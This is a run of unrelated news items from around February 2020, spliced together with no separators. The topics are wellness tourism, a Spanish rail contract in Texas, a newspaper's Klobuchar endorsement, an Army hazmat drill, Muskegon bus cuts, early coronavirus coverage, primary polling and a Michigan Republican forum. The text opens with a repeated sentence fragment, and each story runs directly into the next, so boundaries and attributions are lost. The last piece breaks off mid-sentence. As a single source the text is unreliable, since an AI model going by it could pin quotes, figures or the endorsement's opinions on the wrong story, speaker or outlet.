wellness tourism was a $639 billion global market in 2017, this is their most recent figure, growing more than twice as fast as general tourism. global market in 2017, this is their most recent figure, growing more than twice as fast as general tourism. The US is the most popular health and wellness tourism destination with 47.5 million tourists in 2019. Personalization will be more prominent in health and wellness tourism as demand from millennials continues. Other travel trends that will become popular in 2020 include urban wellness, this is where tourists go to spas in cities and towns. Report Scope The report provides analysis of traveler types and key market trends which are contributing to one of the fastest growing segments within tourism currently - health and wellness. Major and upcoming destinations are assessed, along with growth forecasts to provide valuable insight. Challenges along with opportunities in the industry are explained in relation to industry examples. Reasons to Buy Gain an insight into the health and wellness tourism segment Understand the key traveler types health and wellness facilities operators can look to attract Look at the key destinations and why they appeal Gain a detailed understanding of the key trends, issues and challenges facing health and wellness tourism operators Key Topics Covered Snapshot Traveler Types Key Market Trends Asia is Key to the Future of Health & Wellness Tourism Mental Health Matters Digital Detoxing Key Destinations USA Thailand Iceland Challenges & Opportunities Challenges Opportunities New & Ongoing Health & Wellness Developments Companies Mentioned IHG Wyndham Hotels & Resorts Four Seasons Hilton Accor Hotels DentGroup Marriott International One & Only Luxury Resorts St Regis Beverly Hills Hair Group ANA InterContinental Resort & Spa Jumeirah Six Senses For more information about this report visit https://www.researchandmarkets.com/r/uusvps Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Spains state-owned rail company Renfe has won a $6 billion (5.56 billion) contract to operate a high-speed train line between the cities of Dallas and Houston in the United States the biggest contract ever secured by a Spanish public company outside of Spain, according to a press release issued by the firm on Wednesday. Around 10,000 jobs will be created in the building phase, and 1,500 in the operation phase The contract, details of which were published by Spanish business daily Cinco Dias in December and confirmed by Transportation Minister Jose Luis Abalos on Thursday, is currently in the drafting stage, according to Renfe sources. The deal will be signed with private consortium Texas Central Partners, which may extend the high-speed network between the cities of Austin and San Antonio, and collaborate on more projects with Renfe. The Spanish rail company will not be involved in the construction of the line, or provide the trains for the high-speed network. The contract is solely for providing technical advice and assisting in the operation of the line, according to sources from Renfe. The engineering work will be done by the Texan company Bechtel, while construction will be overseen by Fluor Enterprise Inc and Lane Construction, US subsidiaries of Italian industrial group Salini Impregilo. Around 10,000 jobs will be created in the building phase, and 1,500 in the operation phase. Spains first high-speed line in the US The high-speed line between Houston and Dallas-Fort Worth will connect the two cities, which are 386 kilometers apart, in less than 90 minutes. The Renfe board of directors will review the contract on Monday, and it will be signed by the Spanish companys US subsidiary, Renfe of America. This operation is part of Renfes strategic plan for the 2019-2023 period, which includes progressively increasing the volume of its business outside of Spain and preparing for greater competition for when domestic rail markets in the European Union are opened up in December 2020. As well as the stations in Dallas-Fort Worth and Houston, the line will have an intermediate station in Brazos Valley. All of the stations will be connected to highways and public transportation, and have ample parking space. Texas Central Partners, a private business backed by investors, plans to develop the project without state or federal funding. Registered as a rail company, Texas Central Partners has been working with federal and state authorities since 2014 on the project to connect the fourth- and fifth-most important economic regions in the United States. According to Texas Central Partners, the high-speed line could generate up to $36 billion (33.31 billion) for the state of Texas over the next 25 years. The project in Texas is the first of its kind in the world that is 100% privately owned. English version by Melissa Kitson. This nation desperately needs a change in course. For all the metrics that suggest the United States is on the right track economy booming, crime falling all is not well. Our international stature is declining, our gap between rich and poor is widening, our respect for the rule of law and individual rights is under siege, our sacred obligations to give future generations a chance at the American dream and to defend the planet against the ravages of climate change are all but evaporating. Pervading all of these dispiriting realities are the words and actions of a 45th president who has exploited and inflamed our divisions to create a political firewall for him as he dismisses and disparages the institutions the judiciary, congressional oversight, free elections, the free press that undergird our democracy. President Trump routinely and blatantly misrepresents facts, and urges his followers to believe his disinformation, in a most authoritarian manner. The 2020 presidential election may be the last best chance for this nation to course correct. Its hard to fathom the damage a re-elected Trump would do for another four years. Any of the major Democratic contenders would reverse the trajectory that has bred so much cynicism at home, and puzzlement abroad among our erstwhile foes and allies. While their differences have been accentuated in a long series of debates and town hall meetings over the past year, the fact of the matter is the remaining candidates share much common ground. None would waste billions on a southern border wall or separate families and lock children in cages. All would guarantee our promise to the Dreamers and push for an immigration reform plan that recognizes that millions of immigrants are here to work and follow our laws, and deserve a path to citizenship. All would allow science to guide regulatory decisions on the environment, rejoin the Paris climate accord and move this nation toward a lower-carbon future. All would pare back the Trump-era tax cuts for corporations and the wealthy and provide more middle-income tax relief. All support abortion and LGBT rights and would take those values into consideration when appointing judges. All would support expanded child care and family-leave policies. All support campaign reforms to tamp down the influence of money in politics. All have vowed, unlike the current occupant of the Oval Office, to give the judgment of our intelligence community more weight than that of a foreign adversary such as Vladimir Putin, whose mission is to sow antipathy within America and with its European allies. Even on the issue that most divides them health care all are headed in the right direction, toward expansion of coverage. Bernie Sanders and Elizabeth Warren have pushed a government-run Medicare for All approach, while the others (Amy Klobuchar, Pete Buttigieg, Joe Biden, Tom Steyer, Mike Bloomberg) have called for more incremental (and far more likely to achieve) extensions of President Barack Obamas Affordable Care Act. All but Bloomberg endured a grueling primary season that sifted out some gifted leaders: Kamala Harris, Cory Booker and Julian Castro among them. Billionaire Bloomberg skipped most of that vetting, and his shaky performance in his coming-out debate Wednesday exposed his serious vulnerabilities, though the Democrats will welcome his near-bottomless checkbook in the general election. So the choice comes down to which candidate has the experience, the toughness, the sensibility to maintain the partys base and appeal to independents and disenchanted-with-Trump Republicans in November. Now Playing: Senator Amy Klobuchar joined the Chronicle Editorial Board ahead of the Nevada caucuses to talk about why she believes she is the best presidential candidate to unite the Democratic Party and what she would do if elected president. Video: Erika Betty Carlos Amy Klobuchar is the one Democrat who checks all the essential boxes. She is seasoned (13 years in the U.S. Senate, lead Democratic sponsor on more than 100 passed bills) with a history of winning Republican strongholds and solid on the partys baseline issues while pragmatic enough to avoid the promises (free four-year college regardless of income, erasing all college debt) that are easy to make and impossible to fulfill. Front-runner Sanders has been building a passionate following, but his unbending democratic-socialist agenda and strident tone is likely to all but lock in a polarized nation, leaving the November race a toss-up. Warren has been effective in articulating her wonkish plans in kitchen-table terms and shows more potential than Sanders to pivot toward the center in a general election, but the price tag of her ambitions (including Medicare for All and free college and forgiving of student debt) may be too much for voters to swallow even if they were politically plausible. And they are not. About Candidate Endorsements Chronicle recommendations reflect the judgment of its editorial board, which consists of Publisher and CEO William Nagel, Editorial Page Editor John Diaz and members of the opinion staff. The editorial board makes its decisions after conducting its independent research separate from the news operation. The reporters and editors engaged in news coverage do not participate in the endorsement decisions and are committed to doing their work without regard to the editorial board's positions. See More Collapse Biden, in his third presidential campaign, has seemed befuddled at times and out of gas at others. Buttigieg, the ascendant star of 2020, has an impressive mastery of the issues and an inspiring message of inclusion. At 38, and having the mayorship of South Bend, Ind., as the high point of his resume, Buttigieg scores heavier on rhetoric than applicable record. Same with Steyer, a successful businessman, philanthropist and Democratic benefactor whose ability to succeed in the rough-and-tumble of Washington politics is an open question. Meanwhile, Amy Klobuchar repeatedly has shown under fire in the debates and town halls that she is a listener with a wickedly quick sense of humor that can make her point effectively and with civility. She has the skills to unite the Democratic Party after this nomination fight no small task and, if elected president, restore the integrity, discipline and dignity that the office deserves. She gets our endorsement in the March 3 primary. This commentary is from The Chronicles editorial board. We invite you to express your views in a letter to the editor. Please submit your letter via our online form: SFChronicle.com/letters. Reserve Soldiers training to save lives from chemical disasters By Cpl. Joseph Black February 20, 2020 CAMP ARIFJAN, Kuwait -- As the sun rises over the CENTCOM area of operations, U.S. Army Reserve Soldiers receive an exercise mission brief from Christian Miles, Area Support Group - Kuwait Fire Department assistant chief of training. "A vehicle-borne improvised explosive device carrying hazardous materials has made it to the Camp Arifjan main fire station," says Miles. "Hurry up; we need to get the fire station cleaned up and back to full operation." Soldiers with the 379th Chemical, Biological, Radiological and Nuclear (CBRN) Company, led by student incident commander, Sgt. Linjess Cabrera, spring into action to make the station safe, mitigating spills and recovering victims along the way. "Sergeant Lee, you will be in charge of entry team one," says Cabrera to Sgt. Annie Lee, a chemical noncommissioned officer from the Chicago-based unit. Cabrera continues to delegate mission-critical tasks including patient care, decontamination, and entry teams to his classmates. Once all jobs are assigned, the team dispatches to the scene, rapidly beginning to assess the situation and set up the incident control point. The incident commander then calls in the first entry team, consisting of Lee and her assigned partner, Spc. Gabby Marmolejos, and gives direction to don their Level A Hazmat suits and prepare to move into the hot zone. After working with a member of the medical team to check that their vital signs are within safe parameters, Marmolejos and Lee don their protective equipment, a bulky suit consisting of multiple pieces including an oxygen tank, chemical protective mask, chemical-resistant over suit and boots. Cadre ensure that the students have adequately donned the equipment, keeping a watchful eye on the safety of the students. Meanwhile, the remainder of the students work diligently to set up a decontamination site and triage area for potential casualties. Once the medical team has completed all pre-entry checks, Cabrera confidently gives the order for the entry team to move forward, make their assessment and report back. Using the training they received in the course along with their job-specific training, the team cautiously approaches the mock incident. With them, they carry necessary equipment for evaluating possible hazards and moving casualties. As thick white smoke pours from the mock explosive device, the vision-obscured Soldiers locate the hazardous materials, noting the identification labels and a casualty, an approximately 150-pound mannequin. They quickly check its responsiveness, reporting their findings back to the incident commander, before loading it first onto a litter, then onto their casualty evacuation cart. As the Soldiers prepare to evacuate the casualty, the decontamination and patient care teams make final preparations to receive the casualty and response team. Within minutes, Sgt. Phatsara Chanthaniuon, the decontamination team leader, sees the blue-suited entry team and mock casualty push through the smoke and begins using pre-coordinated hand signals to give direction to Lee and Marmolejos. Chanthaniuon and his partner Sgt. Kaylee Kham, begin the crucial process of removing potential contaminants from the three individuals using sanitizing kits and water spray from a fire hose. As the decontamination team efficiently moves through their task, Cabrera gives the order for the second entry team, consisting of Sgt. Harry Smith and Sgt. Kris Rothermich, to begin mitigation of the material hazards. Smith and Rothermich, armed with mitigation tools and personal protective equipment, move toward the hazards, utilizing calculated precision to safely remove the chemical threat before moving to be decontaminated. The third team of Soldiers, Sgt. 1st Class Keith Gugerty and Spc. Daniel Harris, finish up the task and report back to incident command. "Roger, good copy," says Cabrera through his handheld radio. After scanning the training space and receiving pleased acknowledgment from the course instructor, Cabrera gives the command "ENDEX," a term indicating the end of an exercise cueing Soldiers to come together for further instructions. With tired smiles, the platoon moves indoors to discuss the training, led by Miles and Cabrera. "As a company, we work diligently to improve our readiness, should the need for our support be requested," says Cabrera. "I think today's training did exactly that; we know what we did well, and we know the things that we need to work on." Miles concludes the training with an after-action report, complementing the team's ability to communicate through stressful circumstances. "It is very easy to get frustrated out there," says Miles. "But you all spoke clearly through the radios throughout the training." As the report concludes and the newly certified Soldiers of the 379th begin to break through the classroom doors into the mid-day sun, they take a step forward in their military careers, ready to defend against enemies both foreign and domestic. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address MUSKEGON COUNTY, MI As the county weighs sweeping changes to a regional transit system experiencing low ridership and high costs, some bus users, particularly people with disabilities and seniors, are responding to the proposals with concern and questions. Representatives from Muskegon County, the Muskegon-Area Transit System (MATS), and a county-commissioned transportation consultancy have been presenting proposals for overhauling the existing system, which include eliminating some fixed routes and implementing on-demand ride-sharing instead. At two public events on Wednesday, some riders attended to express concerns about accessibility and cost. About two dozen people perused signs and handouts at an open house at the Herman Ivory Terminal, 351 Morris Ave, on Wednesday afternoon. Boris Palchik, a planner and project manager with Foursquare ITP, the Maryland-based consultants who studied the existing system and proposed changes, answered questions. Later that night, about 50 people listened to a more formal presentation, featuring Palchik and MATS System Manager Jim Koens, at the Sturrus Technology Center, 388 W. Clay Ave. At both events, bus riders expressed concerns over loss of service, as the system, facing an operating deficit and low ridership, considers reducing the number of fixed routes from 10 to seven, and the hours of operation. Many were also concerned about a proposed replacement for those routes, an on-demand ride-hailing microtransit service, similar to Uber or Lyft but managed by the city. They said the service would be too expensive and would exclude riders outside of Muskegons urban core. We got our money in there," said Darma Canter at the evening forum, referring to the public dollars currently funding the system. "It is not that its more equitable to deny service across the whole county. Thats not a more equitable service. MATS currently operates with a deficit, Palchik said in response. If they continue operating with that deficit, either MATS will cease to exist or it will have to be drastically cut. The system had an operating deficit of almost $400,000 in fiscal year 2019, according to the consultants report. The price of rides on the microtransit has not yet been determined, because it will depend on how many communities opt in to using it - and paying for it, Palchik told MLive. The suggested price currently is $4 per ride, or $2 for seniors. As proposed, the systems GoBus program, an on-demand service for seniors and people with disabilities, would be reduced to the minimum standard required by ADA. Microtransit would fill in gaps in service for those no longer covered by the GoBus, said Palchik. At the afternoon open house, Al Greene, a wheelchair user from Muskegon, said that microtransits corner-to-corner setup would force him to travel a block, a task made harder in the snow. Amanda Clements, also a city wheelchair user, said that her usual bus route - the 35 bus, traveling along Lakeshore Drive and Sherman Boulevard - would be cut under the new proposal, and microtransit would be too expensive for her. If they cut Lakeshore-Sherman off, thats the only bus coming downtown where I live, she said. If they cut that off, then I am, no offense, screwed. Palchik said that total costs will remain comparable for regular transit users. Currently, fixed-route service is $1.25 per ride, or 60 cents for seniors and people with disabilities, and GoBus fares are between $2-$5 per ride, depending on where the ride takes place. Michael Nye, a caseworker with the American Red Cross, said that the Bel Air mobile home park at 2481 W. Sherman Blvd. in Norton Shores, where he lives, will lose its access to the Lakeshore-Sherman 35 bus. Thats got a lot of disabled and low-income people thats going to be greatly devastated, he said. Frankie Dines of Muskegon said that she and her boyfriend will both be affected. She currently takes the earliest route to her job at a downtown nursing home, while her boyfriend depends on the bus to take him between his full-time job in the morning, and classes in the afternoon. With the reduced hours in fixed-route service, both will have to figure out alternate commutes, she said. If I cant get to and from work, I lose all my income, she said, adding that walking the two miles to and from her job, where she works primarily on her feet, would be difficult. It wouldnt even work for a 9-5 position, Nye agreed. You cant even get out of work and go shopping. He said he would rather see the changes to the system get phased in, so that people could get used to them little by little. County commissioners Marcia Hovey-Wright and Kenneth Mahoney attended the open house on Wednesday afternoon. Both said they have received a mix of responses from their constituents, but that most are simply trying to understand the entirety of the proposals. I think theres some positives, some people think its really good, some it doesnt work as well, said Hovey-Wright. Theyre trying to understand where it goes, where it doesnt go, and theres some unknowns on the microtransit. Hovey-Wrights district includes the western part of the city, including the Lakeshore-Sherman area that will lose its fixed route bus service. She said she planned to reach out to bus riders from that area for their input. "But its very low ridership out there, she added. The county commissioned the study and proposals in May 2019, after years of dwindling ridership and revenue in the 45-year-old system, according to Bob Lukens, the countys community development director. Its an extension of ongoing efforts to overhaul the regional system, efforts which have consistently faced public pushback. Lukens told MLive that consultants and officials will continue to present the recommended changes to affected communities, and implementation of a new system would depend on participation including kicking in local money from Muskegon, Muskegon Heights, Norton Shores, Roosevelt Park, Muskegon Township, Whitehall, Montague, and Dalton Township. It will really be up to communities in our discussions moving forward to see what we actually will implement, and if the entire program would be implemented or if certain portions will be implemented, Lukens previously told MLive. Dines, the nursing home employee, said she would not be able to attend some of those ongoing evening presentations, because the bus that could take her there stops running shortly after 5 p.m. as it is. So how, really, am I supposed to voice my opinion to the board if my bus stops running? she said. Read more on MLive: On-demand rides among Muskegon County bus changes up for public discussion Bus service proposes route reductions, layoffs due to budget shortfall Muskegon County bus system overhaul subject of public meetings Public input sought on Muskegon bus route changes BAY CITY, Mich. - Federal prosecutors charged a Michigan man with threatening the life of an attorney for the whistleblower who spurred the impeachment inquiry of President Donald Trump. Brittan Atkinson, 52, of Beaverton, was ordered temporarily detained during an initial court appearance Thursday in Bay City and a not guilty plea was entered on his behalf. A detention hearing was scheduled for Monday, The Detroit News reported. Stevens Jacobs, Atkinsons court-appointed attorney, did not immediately return a call from The Associated Press seeking comment. According to an unsealed indictment, Atkinson said in an email to a lawyer to the whistleblower, All traitors must die miserable deaths, and those that represent traitors must meet the same fate. The lawyer isnt identified, but attorney Mark Zaid confirmed in emails to the newspaper and Politico that he received the email that authorities say was sent by Atkinson. The email was sent a day after Trump criticized Zaid during a November rally in Louisiana, The News reported. My job was to ensure the rule of law was followed in how whistleblowers are treated, Zaid told the newspaper in an email. Its not appropriate for anyone to threaten another individuals life, regardless of political views. Trump has harshly criticized the whistleblower, saying, That persons a spy in my opinion, and he has falsely argued that the whistleblowers claims were inaccurate. And while Trump acknowledged whistleblowers should be protected, he added the caveat if the whistleblower is legitimate. U.S. whistleblower laws exist to protect the identity and careers of people who bring forward accusations of wrongdoing by government officials. Lawmakers in both parties have historically backed those protections. The skull-breaker challenge has swept the country -- leaving teens with concussions and broken bones. The popular TikTok practical joke involves two pranksters encouraging a third person to leap into the air for a video, and when the person does so, kicking his or her legs from behind, The Oregonian/OregonLive reported Thursday. One teenager in Beaverton who was recently injured after leaping for the challenge is trying to raise awareness of its dangers -- and to encourage kindness. Olivia Ross, a 14-year-old freshman at Mountainside High School, ended up with a head injury after a couple of other students tricked her into participating in the challenge, Fox 12 Oregon has reported. She crashed to the ground, hitting her head hard on the ground. Olivia and her family responded by launching an effort this week called Teaching Kindness Matters -- including a website and YouTube video -- designed to make students and schools realize that the skull-breaker and other such social-media challenges arent fun and games. Our first project is to try to get school districts to add pranking into their definition of bullying, Olivias mother, Lindsay Zobrist, told Fox 12s Camila Orti. Olivia says in the YouTube video that after the other students kicked out her feet she was crying and in pain on the ground, and she doesnt want any other students to experience the same thing. Teaching Kindness Matters, the website states, emerged out of a pursuit to inspire and support the community, and a desire for actions to speak louder than words. Lindsay Zobrist points out in the video, which shows the skull-breaker challenge that injured her daughter, that theyre not trying to get these kids in more trouble but rather to bring up more awareness as to the effects these pranks can have. -- Douglas Perry @douglasmperry Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. The Diamond Princess cruise ship sits docked at Daikoku Pier in quarantine in Yokohama, Japan on Feb. 7, 2020. (Carl Court/Getty Images) Israel Says Cruise Passenger Flown Home From Japan Has Virus One of the 11 Israelis who were flown home after being quarantined on a cruise ship in Japan has tested positive for the new virus that emerged in China late last year, the first case to be reported inside Israel, officials said on Feb. 21. The Israeli cruise ship passengers, who had all initially tested negative for the new coronavirus, arrived on a charter plane overnight. They were met by medics in protection suits and immediately taken to the Sheba Hospital near Tel Aviv, where they will be kept in quarantine. Buses carrying passengers from the quarantined Diamond Princess cruise ship leave a port in Yokohama, near Tokyo on Feb. 17, 2020. (Jae C. Hong/AP Photo) Dr. Gili Regev-Yochay, director of the infectious disease unit at the hospital, said all 11 were tested again upon arrival. She said a woman tested positive as a carrier of the virus but is totally healthy and is not exhibiting any symptoms. She was in a lot of stress, Regev-Yochay said. Obviously the whole situation is not easy. Another four Israelis were hospitalized in Japan after testing positive for the virus. Regev-Yochay said they are not showing any symptoms. The new coronavirus, which causes the illness recently named COVID-19, has infected tens of thousands of people in 27 countries since it was first reported in Chinas Hubei province in December. A South Korean soldier (R) wearing a face mask looks at train departure timetable at a railway station in the southeastern city of Daegu, South Korea, on Feb. 21, 2020. (JUNG YEON-JE/AFP via Getty Images) The Diamond Princess ship docked at a Yokohama port has the most cases of the new virus outside of China, with 634 confirmed by late Thursday. Two former passengers have died. Dozens of foreign passengers were flown back to their home countries on flights chartered by their governments. Israel has canceled all flights to and from China, and is requiring Israelis returning from China, Hong Kong, Macau, Singapore or Thailand to be quarantined at home for two weeks. Former U.S. Rep. Bob Brady, the chair of the Philadelphia Democratic City Committee. Read more The debt looked staggering, and the timing could not be worse. Was Pennsylvanias largest local Democratic party really $164,000 in the red, heading into what is expected to be the most expensive presidential election cycle in history, in a potentially decisive swing state? Turns out, no. Philadelphias Democratic City Committee says its inability to account for wire transfers meant a $200,000 contribution from the state party 15 months ago never showed up in campaign finance reports. So the local party filed annual campaign finance reports for 2018 and 2019 listing a ballooning debt that existed only on paper. Bob Brady, chairman of the party, laughed off the concerns that had been rumbling in Democratic circles since he announced a coordinated campaign to raise money to register, educate, and turn out voters for the Nov. 3 general election. Brady vowed that the effort will incorporate new ideas and techniques for organizing while reaching out to young and diverse activists. Maybe some of them will have solid wire-transfer skills. And Bradys language seems to set to rest recent political skirmishes between the party machinery and upstart progressives who backed third party candidates. READ MORE: Earlier this week in Clout: Rick Santorum helped a campaign donor win a full Trump pardon Clout dubbed the effort the Committee to Reinstate Street Money, since John Kerry was the last Democratic presidential nominee to put up the $350,000 the local party has traditionally asked for to fund get-out-the-vote efforts. Some Clout fans perused the partys reports after hearing of the new fundraising effort and raised alarms. We dont go by the report. We go by the bank account statements," Brady said. I dont look at the reports. I say, how much money do we have? Edgar Sonny Campbell Jr., a West Philly ward leader, has been the partys treasurer since 2018. The partys 2019 report, filed Jan. 31, listed a negative cash balance of $164,399, up from $93,752 in red ink in the 2018 report. Brady said the party worked with the Philadelphia Board of Ethics to correct its reporting. An amended report filed Wednesday now shows a positive cash balance of $85,570. READ MORE: Earlier this week in Clout: Lindy Li says shes a victim of Bernie Bro bullying, resigns from her Pa. Young Democrats post New Delhi/Beijing, Feb 21 : China has decided to withhold permission to a special Indian flight that was to deliver medical and relief supplies and evacuate remaining Indians from Wuhan, the epicentre of Covid-19 epidemic. Top sources told IANS that Beijing has not responded to India's "goodwill gesture for some odd reason". The behaviour of the Chinese authorities is quite strange and inexplicable, the sources said. On February 17m, India announced that it will send the Indian Air Force's largest plane C-17 Globemaster with medical supplies to Wuhan and evacuate its remaining citizens and of the neighbouring countries. China permitted two special Air India flights to evacuate 647 Indians and seven Maldivians earlier this month. Sources said China may have withheld the permission for another special flight because of "pressure" from Pakistan which has been facing lot of criticism at home for its inability to rescue its citizens from Wuhan promptly. Incidentally, the downtrend in coronavirus cases in China reversed on Friday after authorities reported hundreds of infections in prisons in Hubei province. So far 77,000 people have been infected and 2,250 died due to the infection. Chinese President Xi Jinping, at a meeting of the Communist Party's Politburo on Friday, said that the situation in Hubei was still serious and the coronavirus epidemic had not reached its peak despite a drop in the daily number of infections. Sources said that the 14 people who recently died allegedly due to "chemical fumes" in Karachi had the same symptoms as Covid-19 infection -- pneumonia and cough. Pakistani health officials have now said that "soybean dust from shipping containers and not a toxic gas leak", was likely responsible for the deaths in Karachi. Moscow is using facial recognition technology to ensure people ordered to remain at home or at their hotels under coronavirus quarantine do so, the mayor of the Russian capital said on Friday. Russia has temporarily barred Chinese nationals from entering the country to curb the spread of the virus, but has welcomed Russians who return home with an order to spend two weeks at home, even in the absence of symptoms. Sergei Sobyanin, the mayor of Moscow, said some 2,500 people who had landed in the city from China had been ordered to go into quarantine. Russia has evacuated some 2,500 of its citizens from China back to Moscow amid the coronavirus outbreak, and will now place them in 14-day quarantine To make sure the evacuees do not leave their homes during the quarantine period, Moscow's mayor said they will be watched using facial recognition To prevent them leaving their apartments, the authorities are using facial recognition technology in the city to catch any offenders, he said. 'Compliance with the regime is constantly monitored, including with the help of facial recognition systems and other technical measures,' he wrote on his website. In one case described by Sobyanin, surveillance footage showed a woman who had returned from China leaving her apartment and meeting friends outside. The authorities were able to track down the taxi driver who had taken her home from the airport thanks to video footage, Sobyanin said. Sobyanin said the city was also forced to carry out raids against possible carriers of the virus, something he said was 'unpleasant but necessary.' The Moscow mayor's office did not immediately reply to a request for comment. 62 people who had previously arrived from Wuhan were quarantined at a hotel, but now a large influx of evacuees means they will be kept at home Moscow's mayor said the technology had already proved useful in tracking down people who had contact with a suspected patient who arrived on a routine flight from China (file image) Sobyanin said last month that the city had begun using facial recognition as part of its city security surveillance programme. Kremlin spokesman Dmitry Peskov said he had not seen details of the actions being taken in Moscow but that measures to curb the spread of the coronavirus should not be discriminatory. The clamp down on quarantine rules comes after a woman in St. Petersburg staged an elaborate escape from a hospital where she said she was being kept against her will. The incident, which resulted in a court ordering her to return to the quarantine facility, raised questions about the robustness of Russia's coronavirus quarantine measures. Russia has reported two cases of the illness - two Chinese nationals who have since recovered and been released from hospital, according to the authorities. BOSTON Sen. Elizabeth Warren is in a fight to win her home state of Massachusetts, according to a new poll released Friday that shows her down 1 percentage point to national frontrunner Sen. Bernie Sanders in the state's Democratic presidential primary. The poll, conducted by YouGov for the University of Massachusetts Lowell Center for Public Opinion, found Warren with support of 20% of likely Democratic primary voters in Massachusetts, trailing Sanders' 21%. They are followed by former South Bend, Indiana, Mayor Pete Buttgieg, 15%, former Vice President Joe Biden, 14%, former New York Mayor Mike Bloomberg, 12%, Minnesota Sen. Amy Klobuchar, 9%, Rep. Tulsi Gabbard, 3%, and businessman Tom Steyer, 2%. Four percent said they were undecided. More: 'A plan to fight back': How Elizabeth Warren stumbled in New Hampshire and her plan for 'the long haul' The poll, an online survey of 450 voters, was taken from Feb. 12 to Feb. 19 before Warren's standout performance in Wednesday's Democratic debate in Las Vegas. Sanders' lead is within the poll's 6.1% margin of error. "What we're seeing when we look at Massachusetts and other Super Tuesday states is that Sanders is in that range of 21% to about 25% in all of these states," Joshua Dyck, director of the UMASS Lowell Center for Public Opinion, said. "So, Sanders is showing the strength of a national frontrunner who isn't pulling away but is basically polling well everywhere." Dyck said Warren is competing for first place in Massachusetts because of her home-state advantage and its liberal makeup. "But she's also contending with the fact that liberal voters, progressive voters, and young voters who are drawn to her campaign are also drawn to Sen. Sanders' campaign," he said. "There's a real battle for a similar type of voter. That's been her difficulty: As Sanders has emerged as a frontrunner, she's had to distinguish herself and find strength with other voters." Story continues Democratic presidential candidates, Sen. Elizabeth Warren, D-Mass., left, and Sen. Bernie Sanders, I-Vt., talk during a Democratic presidential primary debate. Massachusetts is among 14 states that vote on March 3 known as Super Tuesday when about 30% of the Democratic electorate goes to the polls. Early voting in Massachusetts begins Monday. The poll found Sanders has a sizable lead over Warren in support among voters 45 years old or younger, with the Vermont senator earning 31% to Warren's 21%. Buttigieg is third in that category at 18%. Warren leads among older Massachusetts voters 45 years or older, with 19%, followed by Sanders, 16%, Biden, 14%, Bloomberg, 14%, and Buttigieg, 13%. "The open question right now is she clearly won the debate on Wednesday night, or at least had the big moments in taking down Michael Bloomberg," Dyck said. "She's got a week and a half until Super Tuesday. What happens with the momentum in her campaign from this debate performance?" Warren, a two-term senator and former Harvard law professor, won her first race in 2012 against incumbent Republican Scott Brown by a margin of 54% to 46%. She won reelection easily in 2018 with more than 60% of the vote. More: What the Mike Bloomberg pile-on says about Bernie Sanders' frontrunner status in Nevada and beyond This weekend, Warren has planned door-to-door canvassing in Massachusetts that will include deploying two members of Congress from Massachusetts, Reps. Lori Trahan and Jim McGovern, as well as state Attorney General Maura Healey. Rep. Ayanna Pressley, D-Mass., a top Warren surrogate, will be campaigning for Warren in South Carolina. Warren, the one-time polling leader nationally, saw her numbers drop in November with a rocky rollout of her plan to pay for Medicare for All. She finished third in the Iowa caucuses and fourth in her neighboring state of New Hampshire with 9.2% of the vote. Need help getting ready for the caucuses: Check your registration or register here. Reach Joey Garrison and on Twitter @Joeygarrison. This article originally appeared on USA TODAY: Poll: Elizabeth Warren neck-and-neck with Sanders in Massachusetts When I interviewed one of Trumps closest advisers (and son-in-law) Jared Kushner on CNN this month, he told me that it was obvious Trump was right about trade deficits being bad. When I then inquired why the trade deficit had gone up under Trump, his response was, Thats because our economys growing . . . America has been outpacing the world. This is correct, and you can see it in the historical data. In the past 30 years, when the United States has grown robustly, its trade deficit has tended to rise. If you want to achieve a sharp decline in the trade deficit, its easy just trigger a recession. The greatest drop in the U.S. trade deficit took place in 2009, in the wake of the financial crisis. HOWELL, MI -- Republicans represented by a Democratic congresswoman who played a key role in impeaching President Donald Trump expressed a burning desire to reclaim political control of Michigans 8th District. More than 450 people filled a Howell ballroom Thursday to learn more about five Republican candidates seeking their partys nomination to challenge freshmen U.S. Rep. Elissa Slotkin, D-Holly, and help deliver Michigan to Trump in November. Voters and candidates said their top priority is beating Slotkin, who flipped the formerly Republican district two years after Trump recorded a 7 point margin of victory there. The five Republican hopefuls -- Real estate agent and salesman Mike Detmer, Marine veteran Alan Hoover, former prosecutor and TV news anchor Paul Junge, Lansing-area lawyer Kristina Lyke, and State Board of Education member Nikki Snyder -- struck an urgent tone during their opening remarks. The anger, the disgust, with the representation we are receiving in Washington today is very strong, Junge said during his opening remarks. I hear people constantly say we listened to her tell us that she would not be about impeachment, and instead she goes to Washington and was the instigator of impeachment. Some framed the upcoming election as a war against socialism, the deep state and attacks on conservative values. All candidates agreed Slotkins vote to impeach Trump for obstructing Congress and abusing power berayed her campaign promises to govern a moderate. Theres a globalist agenda, and theres deep state operatives, and theres swamp monsters, and theres people like Elissa Slotkin, who may have spent some of her lifetime here in Michigan, but shes definitely spent an ample amount of time in D.C., Hoover said. Slotkins re-election campaign acknowledged the start of primary candidate forums shows the race is heating up. Campaign Manager Matt Hennessey said the campaign said its gearing up for a tough fight" to hold her seat in the traditionally Republican district. Slotkin beat incumbent Republican Mike Bishop by a narrow 3.8% margin in 2018, earning 13,000 more votes. Bishop was seated in the front row at the forum. The event was held in Livingston County, which voted against Slotkin by a nearly 19 point margin in 2018. She earned only 38% of the vote there, and she was deeply unpopular among the crowd. Slotkin also lost Oakland County by 11 points but made up for the difference by posting an overwhelming victory in Ingham County, where she won by 39 points. Betty Nelson, a 59-year-old Hamburg Township resident, said she voted for Slotkin, but since changed her mind. Nelson said her top issue is stopping undocumented immigrants from entering the country. The Thursday forum was the first time all five candidates shared a stage and served as a valuable opportunity for Livingston County residents to learn more about their options in 2020. It was also an opportunity the candidates used to express their support for the president and his agenda throughout the night. Thank you president Trump. We need better leadership than Slotkin. Thank you president Trump," Junge said at one point during the debate. Meshawn Maddock, co-founder of Michigan Trump Republicans and a national adviser for the presidents Women for Trump coalition, said the well-attended event shows the 8th District is ready to take Slotkins seat back. Maddock also said Livingston County is red hot for Trump. The event featured a table with Trump campaign merchandise. Livingston County Commissioner Wes Nakagiri said hes looking for a candidate whose message lines up with the president. Slotkin has voted in line with Trumps position 4% of the time, according to an analysis by FiveThirtyEight. Moderators highlighted Slotkins voting record and contrasted it with progressive firebrand U.S. Rep. Alexandria Ocasio-Cortez, D-N.Y., who voted with Trump 13% of the 